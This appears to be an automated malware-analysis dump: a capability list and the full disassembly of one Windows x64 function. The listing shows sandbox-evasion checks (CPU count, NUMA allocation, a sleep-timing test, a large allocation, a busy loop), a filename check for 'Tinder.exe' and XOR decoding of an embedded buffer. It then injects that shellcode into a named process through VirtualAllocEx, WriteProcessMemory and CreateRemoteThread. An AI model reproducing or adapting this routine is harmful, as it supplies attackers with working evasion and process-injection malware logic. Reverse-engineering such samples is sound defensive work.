Function at 0x401550
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Create thread
Enumerate processes
Execute shellcode via indirect call
Get system information on windows
Hide graphical window
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x710
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x6b0], ecx
mov qword [rbp + 0x6b8], rdx
call fcn.00401aa0
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp + 0x670], rax
mov rax, qword [rbp + 0x670]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, [rbp + 0x5f0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp + 0x610]
mov dword [rbp + 0x66c], eax
cmp dword [rbp + 0x66c], 1
jg 0x4015ce
mov ecx, 0
call sub.msvcrt.dll_exit
mov qword [rbp + 0x660], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x3e8
mov edx, 0
mov rcx, rax
call sub.KERNEL32.dll_VirtualAllocExNuma
cdqe
mov qword [rbp + 0x660], rax
cmp qword [rbp + 0x660], 0
je 0x401652
lea rcx, str.xLIRDfJNbb
call sub.msvcrt.dll_printf
mov qword [rbp + 0x658], 0
mov ecx, 0xa38bb79
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x658], rax
cmp qword [rbp + 0x658], 0
je 0x401676
jmp 0x40165c
mov ecx, 0
call sub.msvcrt.dll_exit
mov rax, qword [rbp + 0x658]
mov r8d, 0xa38bb79
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp + 0x654], eax
mov ecx, 0x4a67
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp + 0x650], eax
mov eax, dword [rbp + 0x650]
sub eax, dword [rbp + 0x654]
cmp eax, 0x4a66
jg 0x4016bf
mov ecx, 0
call sub.msvcrt.dll_exit
mov rax, qword [rbp + 0x658]
mov rcx, rax
call sub.msvcrt.dll_free
movabs rax, 0x3d8cff3d4
mov qword [rbp + 0x648], rax
mov qword [rbp + 0x688], 0
mov qword [rbp + 0x680], 0
mov qword [rbp + 0x680], 0
jmp 0x401712
add qword [rbp + 0x688], 1
add qword [rbp + 0x680], 1
mov rax, qword [rbp + 0x680]
cmp rax, qword [rbp + 0x648]
jl 0x401702
mov rax, qword [rbp + 0x688]
cmp rax, qword [rbp + 0x648]
je 0x40173c
mov ecx, 0
call sub.msvcrt.dll_exit
mov rax, qword [rbp + 0x6b8]
mov rax, qword [rax]
lea rdx, str.Tinder.exe
mov rcx, rax
call sub.msvcrt.dll_strstr
test rax, rax
je 0x401803
mov dword [rbp + 0x644], 0
lea rax, [rbp + 0x3f0]
lea rdx, [0x00405020]
mov ecx, 0x3f
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
lea rax, [rax + 1]
lea rdx, [rdx + 1]
lea rax, [rbp + 0x2f0]
lea rdx, [0x00405220]
mov ecx, 0x1f
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
mov dword [rbp + 0x67c], 0
mov dword [rbp + 0x678], 0
jmp 0x401862
mov ecx, 0
call sub.msvcrt.dll_exit
cmp dword [rbp + 0x67c], 0xfd
jne 0x401823
mov dword [rbp + 0x67c], 0
mov eax, dword [rbp + 0x678]
cdqe
movzx edx, byte [rbp + rax + 0x3f0]
mov eax, dword [rbp + 0x67c]
cdqe
movzx eax, byte [rbp + rax + 0x2f0]
xor edx, eax
mov eax, dword [rbp + 0x678]
cdqe
mov byte [rbp + rax + 0xf0], dl
add dword [rbp + 0x67c], 1
add dword [rbp + 0x678], 1
mov eax, dword [rbp + 0x678]
cmp eax, 0x1fe
jbe 0x40180d
mov dword [rbp - 0x40], 0x130
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0x638], rax
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x638]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
cmp eax, 1
jne 0x4019ca
jmp 0x4019ae
lea rax, [rbp - 0x40]
add rax, 0x2c
lea rdx, str.PROCNAME
mov rcx, rax
call sub.msvcrt.dll__stricmp
test eax, eax
jne 0x4019ae
mov eax, dword [rbp - 0x38]
mov r8d, eax
mov edx, 0
mov ecx, 0x1f0fff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x630], rax
mov rax, qword [rbp + 0x630]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1ff
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x628], rax
lea rcx, [rbp + 0xf0]
mov rdx, qword [rbp + 0x628]
mov rax, qword [rbp + 0x630]
mov qword [rsp + 0x20], 0
mov r9d, 0x1ff
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rdx, qword [rbp + 0x628]
mov rax, qword [rbp + 0x630]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp + 0x620], rax
mov rax, qword [rbp + 0x630]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x638]
mov rcx, rax
call sub.KERNEL32.dll_Process32Next
cmp eax, 1
je 0x4018ad
mov rax, qword [rbp + 0x638]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x710
pop rsi
pop rdi
pop rbp
ret